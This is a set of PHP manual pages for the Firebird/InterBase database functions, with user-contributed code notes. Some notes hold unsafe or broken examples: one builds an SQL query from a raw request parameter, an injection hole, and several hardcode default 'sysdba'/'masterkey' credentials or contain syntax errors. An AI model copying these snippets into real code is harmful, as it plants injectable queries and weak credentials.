User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following constants can be passed to ibase_trans() to specify transaction behaviour.

Firebird/InterBase transaction flags
Constant | Description
IBASE_DEFAULT | The default transaction settings are to be used. This default is determined by the client library, which defines it as IBASE_WRITE|IBASE_CONCURRENCY|IBASE_WAIT in most cases.
IBASE_READ | Starts a read-only transaction.
IBASE_WRITE | Starts a read-write transaction.
IBASE_CONSISTENCY | Starts a transaction with the isolation level set to 'consistency', which means the transaction cannot read from tables that are being modified by other concurrent transactions.
IBASE_CONCURRENCY | Starts a transaction with the isolation level set to 'concurrency' (or 'snapshot'), which means the transaction has access to all tables, but cannot see changes that were committed by other transactions after the transaction was started.
IBASE_COMMITTED | Starts a transaction with the isolation level set to 'read committed'. This flag should be combined with either IBASE_REC_VERSION or IBASE_REC_NO_VERSION. This isolation level allows access to changes that were committed after the transaction was started. If IBASE_REC_NO_VERSION was specified, only the latest version of a row can be read. If IBASE_REC_VERSION was specified, a row can even be read when a modification to it is pending in a concurrent transaction.
IBASE_WAIT | Indicated that a transaction should wait and retry when a conflict occurs.
IBASE_NOWAIT | Indicated that a transaction should fail immediately when a conflict occurs.

The following constants can be passed to ibase_fetch_row(), ibase_fetch_assoc() or ibase_fetch_object() to specify fetch behaviour.

Firebird/InterBase fetch flags
Constant | Description
IBASE_FETCH_BLOBS | Also available as IBASE_TEXTfor backward compatibility. Causes BLOB contents to be fetched inline, instead of being fetched as BLOB identifiers.
IBASE_FETCH_ARRAYS | Causes arrays to be fetched inline. Otherwise, array identifiers are returned. Array identifiers can only be used as arguments to INSERT operations, as no functions to handle array identifiers are currently available.
IBASE_UNIXTIME | Causes date and time fields not to be returned as strings, but as UNIX timestamps (the number of seconds since the epoch, which is 1-Jan-1970 0:00 UTC). Might be problematic if used with dates before 1970 on some systems.

The following constants are used to pass requests and options to the service
API functions (ibase_server_info(), ibase_db_info(),
ibase_backup(), ibase_restore()
and ibase_maintain_db()). Please refer to
the Firebird/InterBase manuals for the meaning of these options.

IBASE_BKP_IGNORE_CHECKSUMS
IBASE_BKP_IGNORE_LIMBO
IBASE_BKP_METADATA_ONLY
IBASE_BKP_NO_GARBAGE_COLLECT
IBASE_BKP_OLD_DESCRIPTIONS
IBASE_BKP_NON_TRANSPORTABLE
IBASE_BKP_CONVERT
Options to ibase_backup()
IBASE_RES_DEACTIVATE_IDX
IBASE_RES_NO_SHADOW
IBASE_RES_NO_VALIDITY
IBASE_RES_ONE_AT_A_TIME
IBASE_RES_REPLACE
IBASE_RES_CREATE
IBASE_RES_USE_ALL_SPACE
Options to ibase_restore()
IBASE_PRP_PAGE_BUFFERS
IBASE_PRP_SWEEP_INTERVAL
IBASE_PRP_SHUTDOWN_DB
IBASE_PRP_DENY_NEW_TRANSACTIONS
IBASE_PRP_DENY_NEW_ATTACHMENTS
IBASE_PRP_RESERVE_SPACE
IBASE_PRP_RES_USE_FULL
IBASE_PRP_RES
IBASE_PRP_WRITE_MODE
IBASE_PRP_WM_ASYNC
IBASE_PRP_WM_SYNC
IBASE_PRP_ACCESS_MODE
IBASE_PRP_AM_READONLY
IBASE_PRP_AM_READWRITE
IBASE_PRP_SET_SQL_DIALECT
IBASE_PRP_ACTIVATE
IBASE_PRP_DB_ONLINE
IBASE_RPR_CHECK_DB
IBASE_RPR_IGNORE_CHECKSUM
IBASE_RPR_KILL_SHADOWS
IBASE_RPR_MEND_DB
IBASE_RPR_VALIDATE_DB
IBASE_RPR_FULL
IBASE_RPR_SWEEP_DB
Options to ibase_maintain_db()
IBASE_STS_DATA_PAGES
IBASE_STS_DB_LOG
IBASE_STS_HDR_PAGES
IBASE_STS_IDX_PAGES
IBASE_STS_SYS_RELATIONS
Options to ibase_db_info()
IBASE_SVC_SERVER_VERSION
IBASE_SVC_IMPLEMENTATION
IBASE_SVC_GET_ENV
IBASE_SVC_GET_ENV_LOCK
IBASE_SVC_GET_ENV_MSG
IBASE_SVC_USER_DBPATH
IBASE_SVC_SVR_DB_INFO
IBASE_SVC_GET_USERS
Options to ibase_server_info()

User Contributed Notes

There are no user contributed notes for this page.


Firebird/InterBase Functions

Table of Contents

  • ibase_add_user — Add a user to a security database
  • ibase_affected_rows — Return the number of rows that were affected by the previous query
  • ibase_backup — Initiates a backup task in the service manager and returns immediately
  • ibase_blob_add — Add data into a newly created blob
  • ibase_blob_cancel — Cancel creating blob
  • ibase_blob_close — Close blob
  • ibase_blob_create — Create a new blob for adding data
  • ibase_blob_echo — Output blob contents to browser
  • ibase_blob_get — Get len bytes data from open blob
  • ibase_blob_import — Create blob, copy file in it, and close it
  • ibase_blob_info — Return blob length and other useful info
  • ibase_blob_open — Open blob for retrieving data parts
  • ibase_close — Close a connection to an InterBase database
  • ibase_commit_ret — Commit a transaction without closing it
  • ibase_commit — Commit a transaction
  • ibase_connect — Open a connection to a database
  • ibase_db_info — Request statistics about a database
  • ibase_delete_user — Delete a user from a security database
  • ibase_drop_db — Drops a database
  • ibase_errcode — Return an error code
  • ibase_errmsg — Return error messages
  • ibase_execute — Execute a previously prepared query
  • ibase_fetch_assoc — Fetch a result row from a query as an associative array
  • ibase_fetch_object — Get an object from a InterBase database
  • ibase_fetch_row — Fetch a row from an InterBase database
  • ibase_field_info — Get information about a field
  • ibase_free_event_handler — Cancels a registered event handler
  • ibase_free_query — Free memory allocated by a prepared query
  • ibase_free_result — Free a result set
  • ibase_gen_id — Increments the named generator and returns its new value
  • ibase_maintain_db — Execute a maintenance command on the database server
  • ibase_modify_user — Modify a user to a security database
  • ibase_name_result — Assigns a name to a result set
  • ibase_num_fields — Get the number of fields in a result set
  • ibase_num_params — Return the number of parameters in a prepared query
  • ibase_param_info — Return information about a parameter in a prepared query
  • ibase_pconnect — Open a persistent connection to an InterBase database
  • ibase_prepare — Prepare a query for later binding of parameter placeholders and execution
  • ibase_query — Execute a query on an InterBase database
  • ibase_restore — Initiates a restore task in the service manager and returns immediately
  • ibase_rollback_ret — Roll back a transaction without closing it
  • ibase_rollback — Roll back a transaction
  • ibase_server_info — Request information about a database server
  • ibase_service_attach — Connect to the service manager
  • ibase_service_detach — Disconnect from the service manager
  • ibase_set_event_handler — Register a callback function to be called when events are posted
  • ibase_trans — Begin a transaction
  • ibase_wait_event — Wait for an event to be posted by the database

User Contributed Notes

sysop at smartnettechnologies dot com 25-Sep-2007 09:01
This example have 2 problems my be the autor writes it to fast but in the first case use one var for define user pass and and the use other one for call them and in secon step use comas after the ;

$db = '/path/to/database.gdb';
$user = 'username';
$password = 'password';
$res = ibase_connect($db,$dbuser,$dbpass) or die("<br>" . ibase_errmsg());

// Query
$sql="SELECT * FROM table;"
fortega at uamericas dot net 01-Jul-2007 11:11
Here is a minimalistic code example. Be sure to create an user and a database in order to make it work.

<?php
// Minimalistic code example

// Connection
$db = '/path/to/database.gdb';
$user = 'username';
$password = 'password';
$res = ibase_connect($db,$dbuser,$dbpass) or die("<br>" . ibase_errmsg());

// Query
$sql="SELECT * FROM table;"
$result=ibase_query($res,$sql) or die(ibase_errmsg());
while($row=ibase_fetch_object($result)){
    // use $row->FIELDNAME not $row->fieldname
    print $row->FIELDNAME;
}
ibase_free_result($result);

// Closing
ibase_close($res) or die("<br>" . ibase_errmsg());
?>

The following code can be used when creating tables in order to get auto incrementing fields:

<?php

// This function generates an autoincrement field, such as MySQL AUTO_INCREMENT.
function generate_autoincrement($tablename,$primarykey){
    // * Generator
    dbexec('CREATE GENERATOR GEN_' . $tablename . '_PK;');
    // * Trigger
    dbexec('CREATE TRIGGER INC_' . $primarykey . ' FOR ' . $tablename
        . chr(13) . 'ACTIVE BEFORE INSERT POSITION 0'
        . chr(13) . 'AS'
        . chr(13) . 'BEGIN'
        . chr(13) . 'IF (NEW.' . $primarykey . ' IS NULL) THEN'
        . chr(13) . 'NEW.' . $primarykey . '= GEN_ID(GEN_' . $tablename . '_PK, 1);'
        . chr(13) . 'END');
}
?>

Usage: <?php generate_autoincrement('table','column name'); ?>
felixlee at singnet dot com dot sg 03-Jul-2003 08:33
Here's an example for getting results back from stored procedure in firebird.
The example make use of the stored procedure in Employee.gdb and the show_langs procedure.

$host = 'localhost:X:/firebird/examples/Employee.gdb';
$username='SYSDBA';
$password='masterkey';

$dbh = ibase_connect ( $host, $username, $password ) or die ("error in db connect");
 $stmt="Select * from SHOW_LANGS('SRep',4,'Italy')";
 $query = ibase_prepare($stmt);
 $rs=ibase_execute($query);
$row = ibase_fetch_row($rs);

echo $row[0];

/* free result */
ibase_free_query($query);
ibase_free_result($rs);

/* close db */
ibase_close($dbh);
?>
lars at dybdahl dot net 20-Sep-2002 04:32
It is not possible to use interbase/firebird without initiating transactions. It seems that transactions are not automatically committed or rolled back at the end of a script, so remember to end all interbase enabled scripts with ibase_rollback() or ibase_commit().

Worse is, that if you use ibase_pconnect (recommended), transactions survive from one request to the next. So that if you don't rollback your transaction at the end of the script, another user's request might continue the transaction that the first request opened.

This has two implications:
1) Clicking refresh in your browser won't make you see newer data, because you still watch data from the same transaction.
2) Some php scripts might fail occassionally and not fail in other occasions, depending on with apache server thread and thereby which transaction they start using.

Unfortunately, there is no such thing as
if (ibase_intransaction()) ibase_rollback();

so be sure that ALL your scripts end with an ibase_rollback() or ibase_commit();
interbase at almico dot com 05-Sep-2002 11:24
If you are using VirtualHosts with Apache, you might find useful the following directive:

php_flag magic_quotes_sybase on

Use it in any VirtualHost and it will be set locally to that VirtualHost without interfering with any global setting.
This is an example:

<VirtualHost 555.666.777.888>
   ServerName www.samplehost.com
   DirectoryIndex index.php index.htm
   php_flag magic_quotes_sybase on
</VirtualHost>
theynich_s at yahoo dot com 11-May-2002 08:16
Hello PHP Mania,

i have made a paging for PHP with Interbase...... :)

i hope it usefull and work....:)

it`s a litle bit of example :

<?
$connection = ibase_connect($yourdb, $user, $password);

$filename = BASENAME(__FILE__);
$strsql = "Your SQL";
$result = ibase_query($connection, $strsql);

function ibase_num_rows($query) { //I have pick it from bg_idol@hotmail.com
 $i = 0;
 while (ibase_fetch_row($query)) {
    $i++;
  }
return $i;
}
$nrow = ibase_num_rows($result);//sum of row

$strSQL = "your SQL";
$result = ibase_query($connection, $strSQL);

if (!isset($page))
  $page = 1;

$$i = 0;
$recperpage = 4;
$norecord = ($page - 1) * $recperpage;
if ($norecord){
  $j=0;
  while($j < $norecord and list($code, $name)= ibase_fetch_row($result)){

  $j++;
  }
}
echo "<table>";
while (list($code, $name)= ibase_fetch_row($result) and $i < $recperpage){

  ?>
    <tr>
        <td width="5%"><? echo $code; ?></td>
        <td><? echo $name; ?></td>
    </tr>
<?
$i++;
}

$incr = $page + 1;
if ($page > 1) $decr = $page - 1;

$numOfPage = ceil($nrow/$recperpage);
?>
    <tr>
<td colspan="3" align="center"><?if ($page <= 1)
                    echo "<span>Prev</span>";
                  else
                      echo "<a href=".$filename."?page=".$decr.">Prev</a>";
                ?>
                &nbsp;&nbsp;
                <?if ($page == $numOfPage)
                    echo "<span>Next</span>";
                  else
                      echo "<a href=".$filename."?page=".$incr.">Next</a>";?>
</td>
</tr>
</table>
johan at essay dot org 07-Aug-2000 04:24
For those who have problem with returning values from Stored Procedures in PHP-Interbase,  I have found a solution.   Use a select sentence like this:
select * from sp_prodecure(param, ...)
However, it is important that the procedure has a SUSPEND statement or else the procedure won't return any values.

But the "message length" (see above note) bug that you encounter when you try to execute a procedure should be fixed !


Add a user to a security database

  • « Firebird/InterBase Functions
  • ibase_affected_rows »
  • PHP Manual
  • Firebird/InterBase Functions
  • Add a user to a security database

ibase_add_user

(PHP 5)

ibase_add_user — Add a user to a security database

Description

bool ibase_add_user ( resource $service_handle , string $user_name , string $password [, string $first_name [, string $middle_name [, string $last_name ]]] )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ibase_modify_user() - Modify a user to a security database
  • ibase_delete_user() - Delete a user from a security database

User Contributed Notes

pabloj 12-Apr-2006 11:10
You can create users on Firebird/Interbase this way:

<?php
    // attach to the server with proper privileges
    if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
        // get server version and implementation strings
        $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                      . ' / '
                      . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
        //ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
    }
echo $server_info;

//add a new user with name 'pippo' and password 'pp'
if (($result = ibase_add_user($service, 'pippo', 'pp')) != FALSE) {
        echo 'User created';
        ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
        //detach from server
        ibase_service_detach($service);
    }
?>


Return the number of rows that were affected by the previous query

  • « ibase_add_user
  • ibase_backup »
  • PHP Manual
  • Firebird/InterBase Functions
  • Return the number of rows that were affected by the previous query

ibase_affected_rows

(PHP 5)

ibase_affected_rows — Return the number of rows that were affected by the previous query

Description

int ibase_affected_rows ([ resource $link_identifier ] )

This function returns the number of rows that were affected by the previous query (INSERT, UPDATE or DELETE) that was executed from within the specified transaction context.

Parameters

link_identifier

A transaction context. If link_identifier is a connection resource, its default transaction is used.

Return Values

Returns the number of rows as an integer.

See Also

  • ibase_query() - Execute a query on an InterBase database
  • ibase_execute() - Execute a previously prepared query

User Contributed Notes

There are no user contributed notes for this page.


Initiates a backup task in the service manager and returns immediately

  • « ibase_affected_rows
  • ibase_blob_add »
  • PHP Manual
  • Firebird/InterBase Functions
  • Initiates a backup task in the service manager and returns immediately

ibase_backup

(PHP 5)

ibase_backup — Initiates a backup task in the service manager and returns immediately

Description

mixed ibase_backup ( resource $service_handle , string $source_db , string $dest_file [, int $options = 0 [, bool $verbose = false ]] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

Gara 11-Jan-2006 01:36
I tried to get the backup function working, but could never figur out where to get the resource service_handle. The trick was to use ibase_service_attach.

$resource_service_handle = ibase_service_attach ('localhost', 'username', 'password');

ibase_backup($resource_service_handle, 'source_database', 'destination_file');

ibase_service_detach ($resource_service_handle);


Add data into a newly created blob

  • « ibase_backup
  • ibase_blob_cancel »
  • PHP Manual
  • Firebird/InterBase Functions
  • Add data into a newly created blob

ibase_blob_add

(PHP 5)

ibase_blob_add — Add data into a newly created blob

Description

void ibase_blob_add ( resource $blob_handle , string $data )

ibase_blob_add() adds data into a blob created with ibase_blob_create().

Parameters

blob_handle

A blob handle opened with ibase_blob_create().

data

The data to be added.

Return Values

No value is returned.

See Also

  • ibase_blob_cancel() - Cancel creating blob
  • ibase_blob_close() - Close blob
  • ibase_blob_create() - Create a new blob for adding data
  • ibase_blob_import() - Create blob, copy file in it, and close it

User Contributed Notes

a dot w dot peters at ieee dot org 09-Dec-2004 04:48
To actually insert the BLOB into a table, the following snippet of code shows how this can be done.

<?php
  $dbh = ibase_connect($host, $user, $pass);

  $blh = ibase_blob_create($dbh);
  ibase_blob_add($blh, $data);
  $blobid = ibase_blob_close($blh);

  $sql = "INSERT INTO blobtable(blobfield) VALUES (?)";
  $sth = ibase_query($dbh, $sql, $blobid);
?>


Cancel creating blob

  • « ibase_blob_add
  • ibase_blob_close »
  • PHP Manual
  • Firebird/InterBase Functions
  • Cancel creating blob

ibase_blob_cancel

(PHP 5)

ibase_blob_cancel — Cancel creating blob

Description

bool ibase_blob_cancel ( resource $blob_handle )

This function will discard a BLOB if it has not yet been closed by ibase_blob_close().

Parameters

blob_handle

A BLOB handle opened with ibase_blob_create().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ibase_blob_close() - Close blob
  • ibase_blob_create() - Create a new blob for adding data
  • ibase_blob_import() - Create blob, copy file in it, and close it

User Contributed Notes

There are no user contributed notes for this page.


Close blob

  • « ibase_blob_cancel
  • ibase_blob_create »
  • PHP Manual
  • Firebird/InterBase Functions
  • Close blob

ibase_blob_close

(PHP 5)

ibase_blob_close — Close blob

Description

mixed ibase_blob_close ( resource $blob_handle )

This function closes a BLOB that has either been opened for reading by ibase_blob_open() or has been opened for writing by ibase_blob_create().

Parameters

blob_handle

A BLOB handle opened with ibase_blob_create() or ibase_blob_open().

Return Values

If the BLOB was being read, this function returns TRUE on success, if the BLOB was being written to, this function returns a string containing the BLOB id that has been assigned to it by the database. On failure, this function returns FALSE.

See Also

  • ibase_blob_cancel() - Cancel creating blob
  • ibase_blob_open() - Open blob for retrieving data parts

User Contributed Notes

There are no user contributed notes for this page.


Create a new blob for adding data

  • « ibase_blob_close
  • ibase_blob_echo »
  • PHP Manual
  • Firebird/InterBase Functions
  • Create a new blob for adding data

ibase_blob_create

(PHP 5)

ibase_blob_create — Create a new blob for adding data

Description

resource ibase_blob_create ([ resource $link_identifier = NULL ] )

ibase_blob_create() creates a new BLOB for filling with data.

Parameters

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

Return Values

Returns a BLOB handle for later use with ibase_blob_add() or FALSE on failure.

See Also

  • ibase_blob_add() - Add data into a newly created blob
  • ibase_blob_cancel() - Cancel creating blob
  • ibase_blob_close() - Close blob
  • ibase_blob_import() - Create blob, copy file in it, and close it

User Contributed Notes

There are no user contributed notes for this page.


Output blob contents to browser

  • « ibase_blob_create
  • ibase_blob_get »
  • PHP Manual
  • Firebird/InterBase Functions
  • Output blob contents to browser

ibase_blob_echo

(PHP 5)

ibase_blob_echo — Output blob contents to browser

Description

bool ibase_blob_echo ( string $blob_id )
bool ibase_blob_echo ( resource $link_identifier , string $blob_id )

This function opens a BLOB for reading and sends its contents directly to standard output (the browser, in most cases).

Parameters

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

blob_id

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ibase_blob_open() - Open blob for retrieving data parts
  • ibase_blob_close() - Close blob
  • ibase_blob_get() - Get len bytes data from open blob

User Contributed Notes

int21h 05-Jul-2011 11:11
here is an example if image.php

<?php
if (isset($_REQUEST['imageid']) AND $_REQUEST['imageid']>0) {
    $db = 'host:/var/db/mydb.fdb';
    $dbusername = 'sysdba';
    $dbpassword = 'masterkey';
    $query = "SELECT IMAGEDATA, MIME FROM IMAGES WHERE IMAGEID=".$_REQUEST['imageid'];
    $dbh = ibase_connect($db, $dbusername, $dbpassword, 'UTF8') or die('Couldn't connect DB');
    $result = ibase_query($query);
    $data = ibase_fetch_object($result);
    if ($data)
    {
        header("Content-type: ".$data->MIME);
        ibase_blob_echo ($data->IMAGEDATA);
    }
    ibase_close($dbh);
}
?>


Get len bytes data from open blob

  • « ibase_blob_echo
  • ibase_blob_import »
  • PHP Manual
  • Firebird/InterBase Functions
  • Get len bytes data from open blob

ibase_blob_get

(PHP 5)

ibase_blob_get — Get len bytes data from open blob

Description

string ibase_blob_get ( resource $blob_handle , int $len )

This function returns at most len bytes from a BLOB that has been opened for reading by ibase_blob_open().

Note:

It is not possible to read from a BLOB that has been opened for writing by ibase_blob_create().

Parameters

blob_handle

A BLOB handle opened with ibase_blob_open().

len

Size of returned data.

Return Values

Returns at most len bytes from the BLOB, or FALSE on failure.

Examples

Example #1 ibase_blob_get() example

<?php
$result    = ibase_query("SELECT blob_value FROM table");
$data      = ibase_fetch_object($result);
$blob_data = ibase_blob_info($data->BLOB_VALUE);
$blob_hndl = ibase_blob_open($data->BLOB_VALUE);
echo         ibase_blob_get($blob_hndl, $blob_data[0]);
?>
Whilst this example doesn't do much more than a 'ibase_blob_echo($data->BLOB_VALUE)' would do, it does show you how to get information into a $variable to manipulate as you please.

See Also

  • ibase_blob_open() - Open blob for retrieving data parts
  • ibase_blob_close() - Close blob
  • ibase_blob_echo() - Output blob contents to browser

User Contributed Notes

trinite at trinite dot mine dot nu 29-Dec-2005 12:33
The ways mentioned above won't work with segmented blobs. To fix this, I use the following:
(btw, $result->MFOTO is an image in the database)

<?php
    $result = ibase_fetch_object($result);

    /*
     ibase_blob_info array:
     [0] bloblength(total)
     [1] number of segments
     [2] size of largest segment
     [3] stream or segmented blob
     [4] ??
    */
    $blobinfo = ibase_blob_info($result->MFOTO);

    $blobhandle = ibase_blob_open($result->MFOTO);
    for($i = 0; $i < $blobinfo[1]; $i++){
        $readsize = $blobinfo[2];
        if($i == ($blobinfo[1] - 1)){
            $readsize = $blobinfo[0] - (($blobinfo[1] - 1) * $blobinfo[2]);
        }
        $totalimage .= ibase_blob_get($blobhandle, $readsize);
    }
    ibase_blob_close($blobhandle);
    echo $totalimage;
?>

This should do the trick ;)
hamacker 24-Nov-2004 03:03
The first example is wrong, is missing ibase_blob_close() function.
The correct example is :
<?php
   $sql      = "SELECT blob_value FROM table";
   $result    = ibase_query($sql);
   $data      = ibase_fetch_object($result);
   $blob_data = ibase_blob_info($data->BLOB_VALUE);
   $blob_hndl = ibase_blob_open($data->BLOB_VALUE);
   print        ibase_blob_get($blob_hndl, $blob_data[0]);
   // without close blob conection, php and ibase_blob_get() do not run.
  ibase_blob_close($blob_hndl);
?>
sol at nospam dot example dot com 18-Mar-2003 07:59
I found examples like these:

$sql = "SELECT ID, CONTENTTYPE, BLOBSIZE, DATA,NAME ";
$sql.= " FROM OM_BLOB WHERE ID = 42";
$result = ibase_query($sql);
while ($row=ibase_fetch_object($result))
{
    $blob_data = ibase_blob_info( $row->DATA);
    $blob_hndl = ibase_blob_open($row->DATA);
    $image = ibase_blob_get( $blob_hndl, $blob_data[0]);
}
but this won't work for large blobs.

One solution for big blobs is to retrieve them by chunks:

$sql = "SELECT ID, CONTENTTYPE, BLOBSIZE, DATA,NAME ";
$sql.= " FROM OM_BLOB WHERE ID = 42";
$result = ibase_query($sql);
while ($row=ibase_fetch_object($result))
{
    $image = ibase_blob_get($blob_hndl,8192);
    while($data = ibase_blob_get($blob_hndl, 8192)){
        $image .= $data;
    }
}


Create blob, copy file in it, and close it

  • « ibase_blob_get
  • ibase_blob_info »
  • PHP Manual
  • Firebird/InterBase Functions
  • Create blob, copy file in it, and close it

ibase_blob_import

(PHP 5)

ibase_blob_import — Create blob, copy file in it, and close it

Description

string ibase_blob_import ( resource $link_identifier , resource $file_handle )
string ibase_blob_import ( resource $file_handle )

This function creates a BLOB, reads an entire file into it, closes it and returns the assigned BLOB id.

Parameters

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

file_handle

The file handle is a handle returned by fopen().

Return Values

Returns the BLOB id on success, or FALSE on error.

Examples

Example #1 ibase_blob_import() example

<?php
$dbh = ibase_connect($host, $username, $password);
$filename = '/tmp/bar';

$fd = fopen($filename, 'r');
if ($fd) {

    $blob = ibase_blob_import($dbh, $fd);
    fclose($fd);

    if (!is_string($blob)) {
        // import failed
    } else {
        $query = "INSERT INTO foo (name, data) VALUES ('$filename', ?)";
        $prepared = ibase_prepare($dbh, $query);
        if (!ibase_execute($prepared, $blob)) {
            // record insertion failed
        }
    }
} else {
    // unable to open the data file
}
?>

See Also

  • ibase_blob_add() - Add data into a newly created blob
  • ibase_blob_cancel() - Cancel creating blob
  • ibase_blob_close() - Close blob
  • ibase_blob_create() - Create a new blob for adding data

User Contributed Notes

There are no user contributed notes for this page.


Return blob length and other useful info

  • « ibase_blob_import
  • ibase_blob_open »
  • PHP Manual
  • Firebird/InterBase Functions
  • Return blob length and other useful info

ibase_blob_info

(PHP 5)

ibase_blob_info — Return blob length and other useful info

Description

array ibase_blob_info ( resource $link_identifier , string $blob_id )
array ibase_blob_info ( string $blob_id )

Returns the BLOB length and other useful information.

Parameters

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

blob_id

A BLOB id.

Return Values

Returns an array containing information about a BLOB. The information returned consists of the length of the BLOB, the number of segments it contains, the size of the largest segment, and whether it is a stream BLOB or a segmented BLOB.

User Contributed Notes

There are no user contributed notes for this page.


Open blob for retrieving data parts

  • « ibase_blob_info
  • ibase_close »
  • PHP Manual
  • Firebird/InterBase Functions
  • Open blob for retrieving data parts

ibase_blob_open

(PHP 5)

ibase_blob_open — Open blob for retrieving data parts

Description

resource ibase_blob_open ( resource $link_identifier , string $blob_id )
resource ibase_blob_open ( string $blob_id )

Opens an existing BLOB for reading.

Parameters

link_identifier

An InterBase link identifier. If omitted, the last opened link is assumed.

blob_id

A BLOB id.

Return Values

Returns a BLOB handle for later use with ibase_blob_get() or FALSE on failure.

See Also

  • ibase_blob_close() - Close blob
  • ibase_blob_echo() - Output blob contents to browser
  • ibase_blob_get() - Get len bytes data from open blob

User Contributed Notes

Kevin Hamilton 27-Feb-2006 10:39
While it is true that PHP4 allows only one parameter, it is not true that PHP5 allows only 2 parameters.  The correct function signature for PHP5 should be:

resource ibase_blob_open([ resource link_identifier, ] string blob_id)

If a link_identifier is not provided, then the "default" link_identifier will be used.  The default link identifier is assigned every time you call ibase_connect or ibase_pconnect, so if you have multiple connections it will be  whichever was connected LAST.


Close a connection to an InterBase database

  • « ibase_blob_open
  • ibase_commit_ret »
  • PHP Manual
  • Firebird/InterBase Functions
  • Close a connection to an InterBase database

ibase_close

(PHP 5)

ibase_close — Close a connection to an InterBase database

Description

bool ibase_close ([ resource $connection_id = NULL ] )

Closes the link to an InterBase database that's associated with a connection id returned from ibase_connect(). Default transaction on link is committed, other transactions are rolled back.

Parameters

connection_id

An InterBase link identifier returned from ibase_connect(). If omitted, the last opened link is assumed.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ibase_connect() - Open a connection to a database
  • ibase_pconnect() - Open a persistent connection to an InterBase database

User Contributed Notes

02-Apr-2002 12:18
Before close the connection remember to free your query results too...

$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
    .............
}
ibase_free_result($sth);  //  <-------
ibase_close($dbh);


Commit a transaction without closing it

  • « ibase_close
  • ibase_commit »
  • PHP Manual
  • Firebird/InterBase Functions
  • Commit a transaction without closing it

ibase_commit_ret

(PHP 5)

ibase_commit_ret — Commit a transaction without closing it

Description

bool ibase_commit_ret ([ resource $link_or_trans_identifier = NULL ] )

Commits a transaction without closing it.

Parameters

link_or_trans_identifier

If called without an argument, this function commits the default transaction of the default link. If the argument is a connection identifier, the default transaction of the corresponding connection will be committed. If the argument is a transaction identifier, the corresponding transaction will be committed. The transaction context will be retained, so statements executed from within this transaction will not be invalidated.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Commit a transaction

  • « ibase_commit_ret
  • ibase_connect »
  • PHP Manual
  • Firebird/InterBase Functions
  • Commit a transaction

ibase_commit

(PHP 5)

ibase_commit — Commit a transaction

Description

bool ibase_commit ([ resource $link_or_trans_identifier = NULL ] )

Commits a transaction.

Parameters

link_or_trans_identifier

If called without an argument, this function commits the default transaction of the default link. If the argument is a connection identifier, the default transaction of the corresponding connection will be committed. If the argument is a transaction identifier, the corresponding transaction will be committed.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Open a connection to a database

  • « ibase_commit
  • ibase_db_info »
  • PHP Manual
  • Firebird/InterBase Functions
  • Open a connection to a database

ibase_connect

(PHP 5)

ibase_connect — Open a connection to a database

Description

resource ibase_connect ([ string $database [, string $username [, string $password [, string $charset [, int $buffers [, int $dialect [, string $role [, int $sync ]]]]]]]] )

Establishes a connection to an Firebird/InterBase server.

In case a second call is made to ibase_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned. The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling ibase_close().

Parameters

database

The database argument has to be a valid path to database file on the server it resides on. If the server is not local, it must be prefixed with either 'hostname:' (TCP/IP), '//hostname/' (NetBEUI), depending on the connection protocol used.

username

The user name. Can be set with the ibase.default_user php.ini directive.

password

The password for username. Can be set with the ibase.default_password php.ini directive.

charset

charset is the default character set for a database.

buffers

buffers is the number of database buffers to allocate for the server-side cache. If 0 or omitted, server chooses its own default.

dialect

dialect selects the default SQL dialect for any statement executed within a connection, and it defaults to the highest one supported by client libraries.

role

Functional only with InterBase 5 and up.

sync

Return Values

Returns an Firebird/InterBase link identifier on success, or FALSE on error.

Errors/Exceptions

If you get some error like "arithmetic exception, numeric overflow, or string truncation. Cannot transliterate character between character sets" (this occurs when you try use some character with accents) when using this and after ibase_query() you must set the character set (i.e. ISO8859_1 or your current character set).

Examples

Example #1 ibase_connect() example

<?php
$host = 'localhost:/path/to/your.gdb';

$dbh = ibase_connect($host, $username, $password);
$stmt = 'SELECT * FROM tblname';
$sth = ibase_query($dbh, $stmt);
while ($row = ibase_fetch_object($sth)) {
    echo $row->email, "\n";
}
ibase_free_result($sth);
ibase_close($dbh);
?>

See Also

  • ibase_pconnect() - Open a persistent connection to an InterBase database
  • ibase_close() - Close a connection to an InterBase database

User Contributed Notes

fwrk at bk dot ru 20-Oct-2014 01:36
If you want to connect to interbase server runned on custom port (not default port 3050), you can specify it in "database" parameter in this way: 'hostname/port:' (TCP/IP with custom port).
Examples:
$dbh = ibase_connect('example.com/11099:dbalias', $username, $password);
$dbh = ibase_connect('example.com/11099:var/data/myibase.fdb', $username, $password);
$dbh = ibase_connect('example.com/11099:C:\\data\\mywinibase.fdb', $username, $password);
fb dot bird at gmail dot com 10-Aug-2007 11:32
Remember for different locations
of php.ini file:

..\xampp\php\php.ini
..\xampp\apache\bin\php.ini
..\xampp\php\php4\php.ini

Please do not confuse this
and know location _loaded_ *.ini-file!
ag at dividi dot de 20-Sep-2005 02:07
With php5 on Windows i couldnt connect to a firebird database with following error :

Warning: ibase_connect(): Unable to complete network request to host "localhost"
. Failed to locate host machine. Undefined service gds_db/tcp.  in C:\\wamp\\php\\ibase.php on line 5

the connect command was "$dbh = ibase_connect ("localhost:path_to_file.fdb", $username, $password);"

The solution is to insert the line
gds_db    3050/tcp    #firebird Database
